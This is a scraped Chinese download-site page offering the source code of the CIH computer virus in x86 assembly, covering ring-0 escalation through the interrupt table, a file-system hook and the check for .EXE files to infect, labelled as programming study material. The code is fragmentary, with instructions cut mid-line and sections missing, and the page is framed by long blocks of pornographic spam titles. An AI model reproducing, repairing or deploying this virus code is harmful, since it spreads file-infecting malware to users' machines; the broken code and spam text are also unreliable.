亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? cih病毒原碼.txt

?? 學習(編程技巧_編程知識_程序代碼),是學習編程不可多得的學習精驗
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
CIH病毒原碼
 

--------------------------------------------------------------------------------
 
第八軍團 時間:2003-12-17 12:31:40 
   
 


CIH病毒原碼

 


; * The Virus Program Information * 
; 
**************************************************************************** 

; * * 
; * Designer : CIH Original Place : TTIT of Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.1 * 
; * Modification Time : 05/15/1998 * 
; * * 
; 
*==========================================================================* 

; * Modification History * 
; 
*==========================================================================* 

; * v1.0 1. Create the Virus P * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Managle that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; 
**************************************************************************** 

.586P 

; ********************************************************************ALSE = 
0 

DEBUG = TRUE 

MajorVirusVersion = 1 
MinorVirusVersion = 1 

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion 

HookExceptionNumber = 03h 
FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; ************************************* 
; * Let's Modify Structured Exception * 
; * Handing, Prevent Exception Error * 
; * Occurrence, Especially in NT. * 
; ************************************* 

lea eax, [esp-04h*2] 

xor ebx, ebx 
xchg eax, fs:[ebx] 

call @0 
@0: 
pop ebx 

lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 

cli 

mov ebp, [ebx] ; Get Exception Base 
ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 

jmp LoopOfMergeAllVirusCodeSection 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Ag 
ain 

; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 

ret ; Re********************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook 

; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 
jecxz AllocateSystemMemoryPage 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressO 
fEndException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; 

iretd 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exi 
st in System 

push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ; 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate 
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h 

xchg edi, eax ; EDI = SystemMemory Start Add 
ress 

lea eax, MyVirusStart-@2[esi] 

iretd ; Return to Ring3 Initial Program 

; ************************************* 
; * Install My File System Api Hook * 
; ************************0h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 

mov dr0, eax ; Save OldFileSystemApiHook Ad 
dress 

pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] 
mov OldInstallFileSystemApiHook-@3[eax], edx 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax 

cli 

jmp ExitRing0Init 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook 
add ebx, FileSystemApiHook-@4 ; 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
****** 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: 
@3 = FileSystemApiHook 

pushad 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset VirusGameDataStartAd 
dress 
add esi, VirusGameDataStartAddress-@5 

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy 
) 
jnz pIFSFunc ; goto pIFSFun 
c 

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
*********************** 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 

push esi 

mov al, [ebx+04h] 
cmp al, 0ffh 
je CallUniToBCSPath 

add al, 40h 
mov ah, ':' 

mov [esi], eax 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 

CallUniToBCSPath: 
push 00000000h 
push FileNameBufferSize 
mov ebx, [ebx+10h] 
20h ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' 
jne DisableOnBusy 

ENDIF 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
av资源网一区| 日韩欧美123| 激情久久五月天| 国产酒店精品激情| 成人av电影观看| 欧美日韩午夜在线视频| 精品伦理精品一区| 久久精品这里都是精品| 亚洲日本韩国一区| 日韩成人av影视| 欧美日韩小视频| 久久精品视频在线免费观看| 国产精品天干天干在线综合| 亚洲一卡二卡三卡四卡无卡久久| 亚洲国产综合视频在线观看| 免费的国产精品| 91视频在线观看免费| 欧美日韩国产片| 国产精品国产三级国产三级人妇 | 97se亚洲国产综合自在线不卡| 国产成人啪免费观看软件| a级高清视频欧美日韩| 777久久久精品| 亚洲精品国产第一综合99久久| 美女看a上一区| av在线免费不卡| 日韩一区二区三区免费看| 欧美激情一区二区| 久久国产免费看| 在线免费观看日本欧美| 精品成人一区二区| 亚洲影院理伦片| 国产福利一区在线观看| 欧美色爱综合网| 亚洲天堂成人网| 精品在线你懂的| 欧美亚洲国产bt| 国产日韩欧美一区二区三区综合| 亚洲韩国一区二区三区| 91免费国产在线观看| 亚洲精品一线二线三线 | 欧美三区在线观看| 国产精品三级电影| 国产精品一区在线观看你懂的| 欧美日韩aaa| 亚洲男人都懂的| 高清在线不卡av| 国产清纯白嫩初高生在线观看91| 日韩 欧美一区二区三区| 2014亚洲片线观看视频免费| 午夜日韩在线电影| 欧美在线播放高清精品| 成人免费在线视频| 99re视频精品| 中文字幕在线不卡一区| 成人动漫在线一区| 欧美韩国日本不卡| 成人精品一区二区三区四区| 日本一区二区高清| 99re66热这里只有精品3直播 | 欧美性感一类影片在线播放| 天堂久久一区二区三区| 欧美日韩精品是欧美日韩精品| 亚洲va欧美va人人爽午夜| 日本黄色一区二区| 亚洲一区二区三区精品在线| 欧美喷潮久久久xxxxx| 五月天久久比比资源色| 在线播放91灌醉迷j高跟美女 | 国产精品国产a| 91色在线porny| 亚洲小说春色综合另类电影| 制服.丝袜.亚洲.中文.综合| 成人国产免费视频| 中文字幕中文乱码欧美一区二区| 盗摄精品av一区二区三区| 国产肉丝袜一区二区| 99热这里都是精品| 洋洋成人永久网站入口| 欧美一区二区性放荡片| 日韩综合小视频| www久久久久| 不卡电影一区二区三区| 亚洲一二三四区不卡| 欧美电影免费观看高清完整版在 | 精品国产三级电影在线观看| 国产在线一区观看| 国产精品国产自产拍高清av王其| 色八戒一区二区三区| 精久久久久久久久久久| **欧美大码日韩| 日韩一区二区三区三四区视频在线观看| 国产麻豆欧美日韩一区| 亚洲欧美aⅴ...| 日韩一区和二区| 日本韩国欧美在线| 久久狠狠亚洲综合| 日韩美女视频19| 欧美一级欧美三级| 91色九色蝌蚪| 97精品视频在线观看自产线路二 | 自拍偷拍亚洲欧美日韩| 欧美福利电影网| caoporn国产精品| 麻豆精品久久精品色综合| 国产精品成人免费精品自在线观看 | av在线播放不卡| 捆绑紧缚一区二区三区视频| 亚洲另类在线视频| 国产精品丝袜在线| 亚洲精品一区二区三区四区高清| 天天色天天操综合| 日本不卡在线视频| 国产精品理论片在线观看| 精品免费国产二区三区| 欧美女孩性生活视频| 成人av网站在线观看免费| 裸体歌舞表演一区二区| 日韩中文字幕一区二区三区| 亚洲欧美一区二区久久| 国产精品成人网| 国产亚洲欧洲997久久综合| 91精品国产91久久综合桃花| 在线观看一区日韩| 91丨九色丨黑人外教| 国产成人av一区二区| 久久99久久99| 免费日韩伦理电影| 粉嫩久久99精品久久久久久夜| 亚洲va在线va天堂| 亚洲一区电影777| 亚洲综合自拍偷拍| 一区二区三区在线观看网站| 国产精品国产a| 国产精品毛片久久久久久| 国产人妖乱国产精品人妖| 26uuu亚洲综合色| 久久久亚洲精华液精华液精华液| 欧美不卡视频一区| 精品欧美久久久| 久久综合久色欧美综合狠狠| 日韩欧美一区二区视频| 在线电影院国产精品| 欧美日韩激情一区| 欧美日韩精品综合在线| 欧美日韩中文精品| 欧美丝袜丝交足nylons图片| 久久伊人蜜桃av一区二区| 欧美本精品男人aⅴ天堂| 精品少妇一区二区三区| 精品国产一区二区三区av性色| 不卡视频一二三四| 在线观看亚洲精品| 91精品综合久久久久久| 精品美女一区二区| 久久久久久一二三区| 中文字幕欧美一区| 亚洲自拍偷拍综合| 免费观看成人av| 高清shemale亚洲人妖| 不卡av电影在线播放| 日本乱人伦aⅴ精品| 777欧美精品| 亚洲一区二区三区四区五区黄| 三级精品在线观看| 国产麻豆91精品| 91啪在线观看| 91精品婷婷国产综合久久性色| www久久久久| 一区二区三区中文免费| 精品一区二区国语对白| 99视频超级精品| 91精品久久久久久久久99蜜臂| 国产亚洲精品精华液| 亚洲精品久久久蜜桃| 久久国产麻豆精品| 91麻豆蜜桃一区二区三区| 欧美一级日韩免费不卡| 亚洲欧洲综合另类| 色婷婷av久久久久久久| 日韩一二在线观看| 中文字幕亚洲精品在线观看 | 日本丰满少妇一区二区三区| 欧美一级理论性理论a| 国产精品系列在线| 日韩国产高清影视| 99视频有精品| 久久久久久久久蜜桃| 亚洲观看高清完整版在线观看| 国产精品自拍av| 欧美男生操女生| 亚洲人成在线观看一区二区| 精品一区二区影视| 欧美日韩免费一区二区三区视频| 天堂久久久久va久久久久| 成人免费高清视频| 欧美成人性战久久| 性久久久久久久| 日本福利一区二区| 中文字幕在线不卡|